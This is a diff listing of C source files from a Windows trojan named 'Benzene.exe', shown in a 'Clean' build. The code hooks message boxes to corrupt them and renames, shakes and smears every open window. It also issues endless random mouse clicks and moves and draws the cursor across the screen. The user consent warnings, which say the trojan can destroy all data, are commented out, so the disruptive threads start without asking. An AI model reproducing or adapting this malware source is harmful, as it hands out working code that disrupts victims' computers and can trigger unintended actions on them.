| 10 |
+
BYTE r = rgb.r;
|
| 11 |
+
BYTE g = rgb.g;
|
| 12 |
+
BYTE b = rgb.b;
|
| 13 |
+
|
| 14 |
+
FLOAT _r = ( FLOAT )r / 255.f;
|
| 15 |
+
FLOAT _g = ( FLOAT )g / 255.f;
|
| 16 |
+
FLOAT _b = ( FLOAT )b / 255.f;
|
| 17 |
+
|
| 18 |
+
FLOAT rgbMin = min( min( _r, _g ), _b );
|
| 19 |
+
FLOAT rgbMax = max( max( _r, _g ), _b );
|
| 20 |
+
|
| 21 |
+
FLOAT fDelta = rgbMax - rgbMin;
|
| 22 |
+
FLOAT deltaR;
|
| 23 |
+
FLOAT deltaG;
|
| 24 |
+
FLOAT deltaB;
|
| 25 |
+
|
| 26 |
+
FLOAT h = 0.f;
|
| 27 |
+
FLOAT s = 0.f;
|
| 28 |
+
FLOAT l = ( FLOAT )( ( rgbMax + rgbMin ) / 2.f );
|
| 29 |
+
|
| 30 |
+
if ( fDelta != 0.f )
|
| 31 |
+
{
|
| 32 |
+
s = l < .5f ? ( FLOAT )( fDelta / ( rgbMax + rgbMin ) ) : ( FLOAT )( fDelta / ( 2.f - rgbMax - rgbMin ) );
|
| 33 |
+
deltaR = ( FLOAT )( ( ( rgbMax - _r ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
|
| 34 |
+
deltaG = ( FLOAT )( ( ( rgbMax - _g ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
|
| 35 |
+
deltaB = ( FLOAT )( ( ( rgbMax - _b ) / 6.f + ( fDelta / 2.f ) ) / fDelta );
|
| 36 |
+
|
| 37 |
+
if ( _r == rgbMax )
|
| 38 |
+
{
|
| 39 |
+
h = deltaB - deltaG;
|
| 40 |
+
}
|
| 41 |
+
else if ( _g == rgbMax )
|
| 42 |
+
{
|
| 43 |
+
h = ( 1.f / 3.f ) + deltaR - deltaB;
|
| 44 |
+
}
|
| 45 |
+
else if ( _b == rgbMax )
|
| 46 |
+
{
|
| 47 |
+
h = ( 2.f / 3.f ) + deltaG - deltaR;
|
| 48 |
+
}
|
| 49 |
+
|
| 50 |
+
if ( h < 0.f )
|
| 51 |
+
{
|
| 52 |
+
h += 1.f;
|
| 53 |
+
}
|
| 54 |
+
if ( h > 1.f )
|
| 55 |
+
{
|
| 56 |
+
h -= 1.f;
|
| 57 |
+
}
|
| 58 |
+
}
|
| 59 |
+
|
| 60 |
+
hsl.h = h;
|
| 61 |
+
hsl.s = s;
|
| 62 |
+
hsl.l = l;
|
| 63 |
+
return hsl;
|
| 64 |
+
}
|
| 65 |
+
|
| 66 |
+
RGBQUAD
|
| 67 |
+
HSLToRGB(
|
| 68 |
+
_In_ HSLCOLOR hsl
|
| 69 |
+
)
|
| 70 |
+
{
|
| 71 |
+
RGBQUAD rgb;
|
| 72 |
+
|
| 73 |
+
FLOAT r = hsl.l;
|
| 74 |
+
FLOAT g = hsl.l;
|
| 75 |
+
FLOAT b = hsl.l;
|
| 76 |
+
|
| 77 |
+
FLOAT h = hsl.h;
|
| 78 |
+
FLOAT sl = hsl.s;
|
| 79 |
+
FLOAT l = hsl.l;
|
| 80 |
+
FLOAT v = ( l <= .5f ) ? ( l * ( 1.f + sl ) ) : ( l + sl - l * sl );
|
| 81 |
+
|
| 82 |
+
FLOAT m;
|
| 83 |
+
FLOAT sv;
|
| 84 |
+
FLOAT fract;
|
| 85 |
+
FLOAT vsf;
|
| 86 |
+
FLOAT mid1;
|
| 87 |
+
FLOAT mid2;
|
| 88 |
+
|
| 89 |
+
INT sextant;
|
| 90 |
+
|
| 91 |
+
if ( v > 0.f )
|
| 92 |
+
{
|
| 93 |
+
m = l + l - v;
|
| 94 |
+
sv = ( v - m ) / v;
|
| 95 |
+
h *= 6.f;
|
| 96 |
+
sextant = ( INT )h;
|
| 97 |
+
fract = h - sextant;
|
| 98 |
+
vsf = v * sv * fract;
|
| 99 |
+
mid1 = m + vsf;
|
| 100 |
+
mid2 = v - vsf;
|
| 101 |
+
|
| 102 |
+
switch ( sextant )
|
| 103 |
+
{
|
| 104 |
+
case 0:
|
| 105 |
+
r = v;
|
| 106 |
+
g = mid1;
|
| 107 |
+
b = m;
|
| 108 |
+
break;
|
| 109 |
+
case 1:
|
| 110 |
+
r = mid2;
|
| 111 |
+
g = v;
|
| 112 |
+
b = m;
|
| 113 |
+
break;
|
| 114 |
+
case 2:
|
| 115 |
+
r = m;
|
| 116 |
+
g = v;
|
| 117 |
+
b = mid1;
|
| 118 |
+
break;
|
| 119 |
+
case 3:
|
| 120 |
+
r = m;
|
| 121 |
+
g = mid2;
|
| 122 |
+
b = v;
|
| 123 |
+
break;
|
| 124 |
+
case 4:
|
| 125 |
+
r = mid1;
|
| 126 |
+
g = m;
|
| 127 |
+
b = v;
|
| 128 |
+
break;
|
| 129 |
+
case 5:
|
| 130 |
+
r = v;
|
| 131 |
+
g = m;
|
| 132 |
+
b = mid2;
|
| 133 |
+
break;
|
| 134 |
+
}
|
| 135 |
+
}
|
| 136 |
+
|
| 137 |
+
rgb.r = ( BYTE )( r * 255.f );
|
| 138 |
+
rgb.g = ( BYTE )( g * 255.f );
|
| 139 |
+
rgb.b = ( BYTE )( b * 255.f );
|
| 140 |
+
|
| 141 |
+
return rgb;
|
| 142 |
+
}
|
src/Benzene-main/Clean/Benzene/color.h
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
typedef struct {
|
| 5 |
+
FLOAT h;
|
| 6 |
+
FLOAT s;
|
| 7 |
+
FLOAT l;
|
| 8 |
+
} HSLCOLOR;
|
| 9 |
+
|
| 10 |
+
HSLCOLOR
|
| 11 |
+
RGBToHSL(
|
| 12 |
+
_In_ RGBQUAD rgb
|
| 13 |
+
);
|
| 14 |
+
|
| 15 |
+
RGBQUAD
|
| 16 |
+
HSLToRGB(
|
| 17 |
+
_In_ HSLCOLOR hsl
|
| 18 |
+
);
|
src/Benzene-main/Clean/Benzene/def.h
ADDED
|
@@ -0,0 +1,59 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
typedef union
|
| 5 |
+
{
|
| 6 |
+
COLORREF rgb;
|
| 7 |
+
struct
|
| 8 |
+
{
|
| 9 |
+
BYTE b;
|
| 10 |
+
BYTE g;
|
| 11 |
+
BYTE r;
|
| 12 |
+
BYTE unused;
|
| 13 |
+
};
|
| 14 |
+
} RGBQUAD, *PRGBQUAD;
|
| 15 |
+
|
| 16 |
+
typedef VOID( WINAPI GDI_SHADER )(
|
| 17 |
+
_In_ INT t,
|
| 18 |
+
_In_ INT w,
|
| 19 |
+
_In_ INT h,
|
| 20 |
+
_In_ HDC hdcTemp,
|
| 21 |
+
_In_ HBITMAP hbmTemp,
|
| 22 |
+
_In_ PRGBQUAD prgbSrc,
|
| 23 |
+
_Inout_ PRGBQUAD prgbDst
|
| 24 |
+
), *PGDI_SHADER;
|
| 25 |
+
|
| 26 |
+
typedef VOID( WINAPI GDI_SHADER_OPERATION )(
|
| 27 |
+
_In_ INT t,
|
| 28 |
+
_In_ INT w,
|
| 29 |
+
_In_ INT h,
|
| 30 |
+
_In_ RECT rcBounds,
|
| 31 |
+
_In_ HDC hdcDst,
|
| 32 |
+
_In_ HDC hdcTemp
|
| 33 |
+
), *PGDI_SHADER_OPERATION;
|
| 34 |
+
|
| 35 |
+
typedef struct tagGDI_SHADER_PARAMS
|
| 36 |
+
{
|
| 37 |
+
PGDI_SHADER pGdiShader;
|
| 38 |
+
PGDI_SHADER_OPERATION pPreGdiShader;
|
| 39 |
+
PGDI_SHADER_OPERATION pPostGdiShader;
|
| 40 |
+
} GDI_SHADER_PARAMS, *PGDISHADER_PARAMS;
|
| 41 |
+
|
| 42 |
+
typedef VOID( WINAPI AUDIO_SEQUENCE )(
|
| 43 |
+
_In_ INT nSamplesPerSec,
|
| 44 |
+
_In_ INT nSampleCount,
|
| 45 |
+
_Inout_ PSHORT psSamples
|
| 46 |
+
), *PAUDIO_SEQUENCE;
|
| 47 |
+
|
| 48 |
+
typedef VOID( WINAPI AUDIOSEQUENCE_OPERATION )(
|
| 49 |
+
_In_ INT nSamplesPerSec
|
| 50 |
+
), *PAUDIO_SEQUENCE_OPERATION;
|
| 51 |
+
|
| 52 |
+
typedef struct tagAUDIO_SEQUENCE_PARAMS
|
| 53 |
+
{
|
| 54 |
+
INT nSamplesPerSec;
|
| 55 |
+
INT nSampleCount;
|
| 56 |
+
PAUDIO_SEQUENCE pAudioSequence;
|
| 57 |
+
PAUDIO_SEQUENCE_OPERATION pPreAudioOp;
|
| 58 |
+
PAUDIO_SEQUENCE_OPERATION pPostAudioOp;
|
| 59 |
+
} AUDIO_SEQUENCE_PARAMS, *PAUDIO_SEQUENCE_PARAMS;
|
src/Benzene-main/Clean/Benzene/extra_payloads.c
ADDED
|
@@ -0,0 +1,247 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
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| 2 |
+
|
| 3 |
+
VOID
|
| 4 |
+
GetRandomPath(
|
| 5 |
+
_Inout_ PWSTR szRandom,
|
| 6 |
+
_In_ INT nLength
|
| 7 |
+
)
|
| 8 |
+
{
|
| 9 |
+
for ( INT i = 0; i < nLength; i++ )
|
| 10 |
+
{
|
| 11 |
+
szRandom[ i ] = ( WCHAR )( Xorshift32( ) % ( 0x9FFF - 0x4E00 + 1 ) + 0x4E00 );
|
| 12 |
+
}
|
| 13 |
+
}
|
| 14 |
+
|
| 15 |
+
BOOL
|
| 16 |
+
CALLBACK
|
| 17 |
+
MsgBoxRefreshWndProc(
|
| 18 |
+
_In_ HWND hwnd,
|
| 19 |
+
_In_ LPARAM lParam
|
| 20 |
+
)
|
| 21 |
+
{
|
| 22 |
+
UNREFERENCED_PARAMETER( lParam );
|
| 23 |
+
RedrawWindow( hwnd, NULL, NULL, RDW_ERASE | RDW_INVALIDATE );
|
| 24 |
+
return TRUE;
|
| 25 |
+
}
|
| 26 |
+
|
| 27 |
+
BOOL
|
| 28 |
+
CALLBACK
|
| 29 |
+
MsgBoxWndProc(
|
| 30 |
+
_In_ HWND hwnd,
|
| 31 |
+
_In_ LPARAM lParam
|
| 32 |
+
)
|
| 33 |
+
{
|
| 34 |
+
UNREFERENCED_PARAMETER( lParam );
|
| 35 |
+
EnableWindow( hwnd, FALSE );
|
| 36 |
+
SetWindowTextW( hwnd, L"Terrible decision." );
|
| 37 |
+
return TRUE;
|
| 38 |
+
}
|
| 39 |
+
|
| 40 |
+
VOID
|
| 41 |
+
WINAPI
|
| 42 |
+
MsgBoxCorruptionThread(
|
| 43 |
+
_In_ HWND hwndMsgBox
|
| 44 |
+
)
|
| 45 |
+
{
|
| 46 |
+
BITMAPINFO bmi = { 0 };
|
| 47 |
+
HANDLE hHeap;
|
| 48 |
+
PRGBQUAD prgbPixels;
|
| 49 |
+
HDC hdcMsgBox;
|
| 50 |
+
HDC hdcTempMsgBox;
|
| 51 |
+
HBITMAP hbmMsgBox;
|
| 52 |
+
RECT rcMsgBox;
|
| 53 |
+
INT w;
|
| 54 |
+
INT h;
|
| 55 |
+
|
| 56 |
+
GetWindowRect( hwndMsgBox, &rcMsgBox );
|
| 57 |
+
w = rcMsgBox.right - rcMsgBox.left;
|
| 58 |
+
h = rcMsgBox.bottom - rcMsgBox.top;
|
| 59 |
+
|
| 60 |
+
bmi.bmiHeader.biSize = sizeof( BITMAPINFO );
|
| 61 |
+
bmi.bmiHeader.biBitCount = 32;
|
| 62 |
+
bmi.bmiHeader.biPlanes = 1;
|
| 63 |
+
bmi.bmiHeader.biWidth = w;
|
| 64 |
+
bmi.bmiHeader.biHeight = h;
|
| 65 |
+
|
| 66 |
+
hHeap = GetProcessHeap( );
|
| 67 |
+
prgbPixels = ( PRGBQUAD )HeapAlloc( hHeap, 0, w * h * sizeof( RGBQUAD ) );
|
| 68 |
+
|
| 69 |
+
hdcMsgBox = GetDC( hwndMsgBox );
|
| 70 |
+
hdcTempMsgBox = CreateCompatibleDC( hdcMsgBox );
|
| 71 |
+
hbmMsgBox = CreateDIBSection( hdcMsgBox, &bmi, 0, &prgbPixels, NULL, 0 );
|
| 72 |
+
SelectObject( hdcTempMsgBox, hbmMsgBox );
|
| 73 |
+
|
| 74 |
+
for ( ;; )
|
| 75 |
+
{
|
| 76 |
+
for ( INT32 i = 0; i < w * h; i++ )
|
| 77 |
+
{
|
| 78 |
+
prgbPixels[ i ].rgb = ( Xorshift32( ) % 0x100 ) * 0x010101;
|
| 79 |
+
}
|
| 80 |
+
|
| 81 |
+
BitBlt( hdcMsgBox, 0, 0, w, h, hdcTempMsgBox, 0, 0, SRCCOPY );
|
| 82 |
+
EnumChildWindows( hwndMsgBox, MsgBoxRefreshWndProc, 0 );
|
| 83 |
+
Sleep( 10 );
|
| 84 |
+
}
|
| 85 |
+
}
|
| 86 |
+
|
| 87 |
+
LRESULT
|
| 88 |
+
CALLBACK
|
| 89 |
+
MsgBoxHookProc(
|
| 90 |
+
_In_ INT nCode,
|
| 91 |
+
_In_ WPARAM wParam,
|
| 92 |
+
_In_ LPARAM lParam
|
| 93 |
+
)
|
| 94 |
+
{
|
| 95 |
+
HWND hwndMsgBox;
|
| 96 |
+
|
| 97 |
+
if ( nCode == HCBT_ACTIVATE )
|
| 98 |
+
{
|
| 99 |
+
hwndMsgBox = ( HWND )wParam;
|
| 100 |
+
|
| 101 |
+
ShowWindow( hwndMsgBox, SW_SHOW );
|
| 102 |
+
|
| 103 |
+
EnumChildWindows( hwndMsgBox, MsgBoxWndProc, 0 );
|
| 104 |
+
CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )MsgBoxCorruptionThread, hwndMsgBox, 0, NULL );
|
| 105 |
+
|
| 106 |
+
return 0;
|
| 107 |
+
}
|
| 108 |
+
|
| 109 |
+
return CallNextHookEx( hMsgHook, nCode, wParam, lParam );
|
| 110 |
+
}
|
| 111 |
+
|
| 112 |
+
VOID
|
| 113 |
+
WINAPI
|
| 114 |
+
MessageBoxThread( VOID )
|
| 115 |
+
{
|
| 116 |
+
hMsgHook = SetWindowsHookExW( WH_CBT, MsgBoxHookProc, NULL, GetCurrentThreadId( ) );
|
| 117 |
+
MessageBoxW( NULL, L"Terrible decision.", L"Terrible decision.", MB_ABORTRETRYIGNORE | MB_ICONERROR );
|
| 118 |
+
UnhookWindowsHookEx( hMsgHook );
|
| 119 |
+
}
|
| 120 |
+
|
| 121 |
+
BOOL
|
| 122 |
+
CALLBACK
|
| 123 |
+
GlobalWndProc(
|
| 124 |
+
_In_ HWND hwnd,
|
| 125 |
+
_In_ LPARAM lParam
|
| 126 |
+
)
|
| 127 |
+
{
|
| 128 |
+
BOOL bParent;
|
| 129 |
+
HDC hdc;
|
| 130 |
+
RECT rcOriginal;
|
| 131 |
+
RECT rc;
|
| 132 |
+
INT w;
|
| 133 |
+
INT h;
|
| 134 |
+
|
| 135 |
+
Sleep( 10 );
|
| 136 |
+
|
| 137 |
+
WCHAR szWndText[ 256 ];
|
| 138 |
+
for ( INT i = 0; i < 256; i++ )
|
| 139 |
+
{
|
| 140 |
+
szWndText[ i ] = ( WCHAR )( ( Xorshift32( ) % 256 ) + 1 );
|
| 141 |
+
}
|
| 142 |
+
|
| 143 |
+
SetWindowTextW( hwnd, szWndText );
|
| 144 |
+
|
| 145 |
+
GetWindowRect( hwnd, &rcOriginal );
|
| 146 |
+
|
| 147 |
+
rc = rcOriginal;
|
| 148 |
+
|
| 149 |
+
rc.left += Xorshift32( ) % 3 - 1;
|
| 150 |
+
rc.top += Xorshift32( ) % 3 - 1;
|
| 151 |
+
rc.right += Xorshift32( ) % 3 - 1;
|
| 152 |
+
rc.bottom += Xorshift32( ) % 3 - 1;
|
| 153 |
+
|
| 154 |
+
w = rc.right - rc.left;
|
| 155 |
+
h = rc.bottom - rc.top;
|
| 156 |
+
|
| 157 |
+
MoveWindow( hwnd, rc.left, rc.top, w, h, TRUE );
|
| 158 |
+
|
| 159 |
+
hdc = GetDC( hwnd );
|
| 160 |
+
|
| 161 |
+
if ( Xorshift32( ) % 2 )
|
| 162 |
+
{
|
| 163 |
+
BitBlt( hdc, rc.left, rc.top, w, h, hdc, rcOriginal.left, rcOriginal.top, ( Xorshift32( ) % 2 ) ? SRCAND : SRCPAINT );
|
| 164 |
+
}
|
| 165 |
+
else
|
| 166 |
+
{
|
| 167 |
+
w = rcOriginal.right - rcOriginal.left;
|
| 168 |
+
h = rcOriginal.bottom - rcOriginal.top;
|
| 169 |
+
StretchBlt( hdc, rcOriginal.left, rcOriginal.top, w, h, hdcDesktop, rcScrBounds.left, rcScrBounds.top,
|
| 170 |
+
rcScrBounds.right - rcScrBounds.left, rcScrBounds.bottom - rcScrBounds.top,
|
| 171 |
+
( Xorshift32( ) % 2 ) ? SRCAND : SRCPAINT );
|
| 172 |
+
}
|
| 173 |
+
|
| 174 |
+
ReleaseDC( hwnd, hdc );
|
| 175 |
+
|
| 176 |
+
bParent = ( BOOL )lParam;
|
| 177 |
+
|
| 178 |
+
if ( bParent )
|
| 179 |
+
{
|
| 180 |
+
EnumChildWindows( hwnd, GlobalWndProc, FALSE );
|
| 181 |
+
}
|
| 182 |
+
|
| 183 |
+
return TRUE;
|
| 184 |
+
}
|
| 185 |
+
|
| 186 |
+
VOID
|
| 187 |
+
WINAPI
|
| 188 |
+
EnumGlobalWnd( VOID )
|
| 189 |
+
{
|
| 190 |
+
for ( ;; )
|
| 191 |
+
{
|
| 192 |
+
EnumWindows( GlobalWndProc, TRUE );
|
| 193 |
+
}
|
| 194 |
+
}
|
| 195 |
+
|
| 196 |
+
VOID
|
| 197 |
+
WINAPI
|
| 198 |
+
CursorClicker( VOID )
|
| 199 |
+
{
|
| 200 |
+
INT ppdwClickEvents[ 2 ][ 2 ] = {
|
| 201 |
+
{ MOUSEEVENTF_LEFTDOWN, MOUSEEVENTF_LEFTUP },
|
| 202 |
+
{ MOUSEEVENTF_RIGHTDOWN, MOUSEEVENTF_RIGHTUP }
|
| 203 |
+
};
|
| 204 |
+
|
| 205 |
+
for ( ;; )
|
| 206 |
+
{
|
| 207 |
+
INT nIndex = Xorshift32( ) % 2;
|
| 208 |
+
|
| 209 |
+
mouse_event( ppdwClickEvents[ nIndex ][ 0 ], 0, 0, 0, 0 );
|
| 210 |
+
Sleep( Xorshift32( ) % 51 + 50 );
|
| 211 |
+
|
| 212 |
+
mouse_event( ppdwClickEvents[ nIndex ][ 1 ], 0, 0, 0, 0 );
|
| 213 |
+
Sleep( Xorshift32( ) % 51 + 50 );
|
| 214 |
+
}
|
| 215 |
+
}
|
| 216 |
+
|
| 217 |
+
VOID
|
| 218 |
+
WINAPI
|
| 219 |
+
CursorMess( VOID )
|
| 220 |
+
{
|
| 221 |
+
for ( ;; )
|
| 222 |
+
{
|
| 223 |
+
SetCursorPos( Xorshift32( ) % ( rcScrBounds.right - rcScrBounds.left ) - rcScrBounds.left,
|
| 224 |
+
Xorshift32( ) % ( rcScrBounds.bottom - rcScrBounds.top ) - rcScrBounds.top );
|
| 225 |
+
Sleep( 1000 );
|
| 226 |
+
}
|
| 227 |
+
}
|
| 228 |
+
|
| 229 |
+
VOID
|
| 230 |
+
WINAPI
|
| 231 |
+
CursorDraw( VOID )
|
| 232 |
+
{
|
| 233 |
+
CURSORINFO curInf = { sizeof( CURSORINFO ) };
|
| 234 |
+
|
| 235 |
+
for ( ;; )
|
| 236 |
+
{
|
| 237 |
+
GetCursorInfo( &curInf );
|
| 238 |
+
|
| 239 |
+
for ( INT i = 0; i < ( INT )( Xorshift32( ) % 5 + 1 ); i++ )
|
| 240 |
+
{
|
| 241 |
+
DrawIcon( hdcDesktop, Xorshift32( ) % ( rcScrBounds.right - rcScrBounds.left - GetSystemMetrics( SM_CXCURSOR ) ) - rcScrBounds.left,
|
| 242 |
+
Xorshift32( ) % ( rcScrBounds.bottom - rcScrBounds.top - GetSystemMetrics( SM_CYCURSOR ) ) - rcScrBounds.top, curInf.hCursor );
|
| 243 |
+
}
|
| 244 |
+
DestroyCursor( curInf.hCursor );
|
| 245 |
+
Sleep( Xorshift32( ) % 11 );
|
| 246 |
+
}
|
| 247 |
+
}
|
src/Benzene-main/Clean/Benzene/extra_payloads.h
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#pragma once
|
| 2 |
+
#include "benzene.h"
|
| 3 |
+
|
| 4 |
+
VOID
|
| 5 |
+
GetRandomPath(
|
| 6 |
+
_Inout_ PWSTR szRandom,
|
| 7 |
+
_In_ INT nLength
|
| 8 |
+
);
|
| 9 |
+
|
| 10 |
+
VOID
|
| 11 |
+
WINAPI
|
| 12 |
+
MessageBoxThread( VOID );
|
| 13 |
+
|
| 14 |
+
VOID
|
| 15 |
+
WINAPI
|
| 16 |
+
EnumGlobalWnd(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
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include "benzene.h"
|
| 2 |
+
|
| 3 |
+
#pragma region Public Variables
|
| 4 |
+
HWND hwndDesktop;
|
| 5 |
+
HDC hdcDesktop;
|
| 6 |
+
RECT rcScrBounds;
|
| 7 |
+
HHOOK hMsgHook;
|
| 8 |
+
INT nCounter = 0;
|
| 9 |
+
#pragma endregion Public Variables
|
| 10 |
+
|
| 11 |
+
VOID
|
| 12 |
+
WINAPI
|
| 13 |
+
Initialize(VOID)
|
| 14 |
+
{
|
| 15 |
+
HMODULE hModUser32 = LoadLibraryW(L"user32.dll");
|
| 16 |
+
BOOL(WINAPI * SetProcessDPIAware)(VOID) = (BOOL(WINAPI*)(VOID))GetProcAddress(hModUser32, "SetProcessDPIAware");
|
| 17 |
+
if (SetProcessDPIAware)
|
| 18 |
+
SetProcessDPIAware();
|
| 19 |
+
FreeLibrary(hModUser32);
|
| 20 |
+
|
| 21 |
+
hwndDesktop = HWND_DESKTOP;
|
| 22 |
+
hdcDesktop = GetDC(hwndDesktop);
|
| 23 |
+
|
| 24 |
+
SeedXorshift32((DWORD)__rdtsc());
|
| 25 |
+
InitializeSine();
|
| 26 |
+
EnumDisplayMonitors(NULL, NULL, &MonitorEnumProc, 0);
|
| 27 |
+
CloseHandle(CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)TimerThread, NULL, 0, NULL));
|
| 28 |
+
}
|
| 29 |
+
|
| 30 |
+
INT
|
| 31 |
+
WINAPI
|
| 32 |
+
wWinMain(
|
| 33 |
+
_In_ HINSTANCE hInstance,
|
| 34 |
+
_In_opt_ HINSTANCE hPrevInstance,
|
| 35 |
+
_In_ PWSTR pszCmdLine,
|
| 36 |
+
_In_ INT nShowCmd
|
| 37 |
+
)
|
| 38 |
+
{
|
| 39 |
+
UNREFERENCED_PARAMETER(hInstance);
|
| 40 |
+
UNREFERENCED_PARAMETER(hPrevInstance);
|
| 41 |
+
UNREFERENCED_PARAMETER(pszCmdLine);
|
| 42 |
+
UNREFERENCED_PARAMETER(nShowCmd);
|
| 43 |
+
|
| 44 |
+
HANDLE hCursorDraw, hAudioThread, hGdiThread;
|
| 45 |
+
|
| 46 |
+
Initialize();
|
| 47 |
+
|
| 48 |
+
|
| 49 |
+
//if (MessageBoxW(NULL, L"WARNING!\n\nYou have ran a Trojan known as Benzene.exe that has full capacity to delete all of your data and your operating system.\n\nBy continuing, you keep in mind that the creator will not be responsible for any damage caused by this trojan and it is highly recommended that you run this in a testing virtual machine where a snapshot has been made before execution for the sake of entertainment and analysis.\n\nAre you sure you want to run this?", L"Malware alert - Benzene.exe", MB_ICONWARNING | MB_YESNO) != IDYES)
|
| 50 |
+
// return FALSE;
|
| 51 |
+
//if (MessageBoxW(NULL, L"FINAL WARNING!!!\n\nThis Trojan has a lot of destructive potential. You will lose all of your data if you continue, and the creator will not be responsible for any of the damage caused. This is not meant to be malicious but simply for entertainment and educational purposes.\n\nAre you sure you want to continue? This is your final chance to stop this program from execution.", L"Malware alert - Benzene.exe", MB_ICONWARNING | MB_YESNO) != IDYES)
|
| 52 |
+
// return FALSE;
|
| 53 |
+
|
| 54 |
+
Sleep(5000);
|
| 55 |
+
//CloseHandle( CreateThread( NULL, 0, ( PTHREAD_START_ROUTINE )MessageBoxThread, NULL, 0, NULL ) );
|
| 56 |
+
Sleep(1000);
|
| 57 |
+
|
| 58 |
+
|
| 59 |
+
hCursorDraw = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)CursorDraw, NULL, 0, NULL);
|
| 60 |
+
|
| 61 |
+
CreateMutexW(NULL, TRUE, L"Benzene.exe");
|
| 62 |
+
|
| 63 |
+
pAudioSequences[0] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence1, NULL, NULL };
|
| 64 |
+
pAudioSequences[1] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence2, NULL, NULL };
|
| 65 |
+
pAudioSequences[2] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence3, NULL, NULL };
|
| 66 |
+
pAudioSequences[3] = (AUDIO_SEQUENCE_PARAMS){ 16000, 16000 * 30, AudioSequence4, NULL, NULL };
|
| 67 |
+
pAudioSequences[4] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence5, NULL, NULL };
|
| 68 |
+
pAudioSequences[5] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence6, NULL, NULL };
|
| 69 |
+
pAudioSequences[6] = (AUDIO_SEQUENCE_PARAMS){ 12000, 12000 * 30, AudioSequence7, NULL, NULL };
|
| 70 |
+
pAudioSequences[7] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence8, NULL, NULL };
|
| 71 |
+
pAudioSequences[8] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence9, NULL, NULL };
|
| 72 |
+
pAudioSequences[9] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence10, NULL, NULL };
|
| 73 |
+
pAudioSequences[10] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence11, NULL, NULL };
|
| 74 |
+
pAudioSequences[11] = (AUDIO_SEQUENCE_PARAMS){ 8000, 8000 * 30, AudioSequence12, NULL, NULL };
|
| 75 |
+
pAudioSequences[12] = (AUDIO_SEQUENCE_PARAMS){ 16000, 16000 * 30, AudioSequence13, NULL, NULL };
|
| 76 |
+
pAudioSequences[13] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence14, NULL, NULL };
|
| 77 |
+
pAudioSequences[14] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence15, NULL, NULL };
|
| 78 |
+
pAudioSequences[15] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence16, NULL, NULL };
|
| 79 |
+
pAudioSequences[16] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence17, NULL, NULL };
|
| 80 |
+
pAudioSequences[17] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, AudioSequence18, NULL, NULL };
|
| 81 |
+
pAudioSequences[24] = (AUDIO_SEQUENCE_PARAMS){ 48000, 48000 * 30, FinalAudioSequence, NULL, NULL };
|
| 82 |
+
|
| 83 |
+
|
| 84 |
+
pGdiShaders[0] = (GDI_SHADER_PARAMS){ GdiShader1, NULL, PostGdiShader1 };
|
| 85 |
+
